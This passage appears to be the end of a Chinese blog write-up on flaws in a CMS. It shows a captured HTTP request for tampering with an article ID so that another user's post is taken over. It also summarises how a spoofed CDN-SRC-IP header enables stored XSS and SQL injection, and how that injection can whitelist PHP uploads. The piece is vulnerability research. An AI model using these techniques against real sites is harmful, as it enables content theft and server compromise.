Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/release/id/29/molds/article.html
Cookie: PHPSESSID=lcfjs54o8288d6q68julppqu60

ajax=1&id=29&isshow=0&molds=article&tid=2&title=1&keywords=1&litpic=&description=1&body=%3Cp%3E1%3Cbr%2F%3E%3C%2Fp%3E

修改上面的post参数中的id数值,把id改成任意数字,如果文章存在,就会从那个用户中消失,然后变成了你的文章,比如我们把id改成13

原本这篇文章是正常的,且我的投稿中并没有这篇文章

然后发包

后台刷新即可看到这篇文章的状态

然后我们本地就多了一篇文章

总结

  1. 这个cms比较有意思的一点就是获取ip的函数GetIP(),这里可以用http头CDN-SRC-IP绕过导致可以触发存储型xss和sql注入
  2. 其实这里sql注入可以往数据库插入文件的白名单后缀,比如php,这样就可以直接上传php文件(不知道为什么开发者要把文件后缀写到数据库中)
  3. 这里的xss漏洞是比较泛滥的,而且函数中是有针对xss过滤的函数,不知道为什么开发者没有使用
  4. 这里的逻辑漏洞也是很泛滥的,主要挖掘的思路就是去测试功能点,然后去看功能点的代码,这样基本上就不会有遗漏的漏洞

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now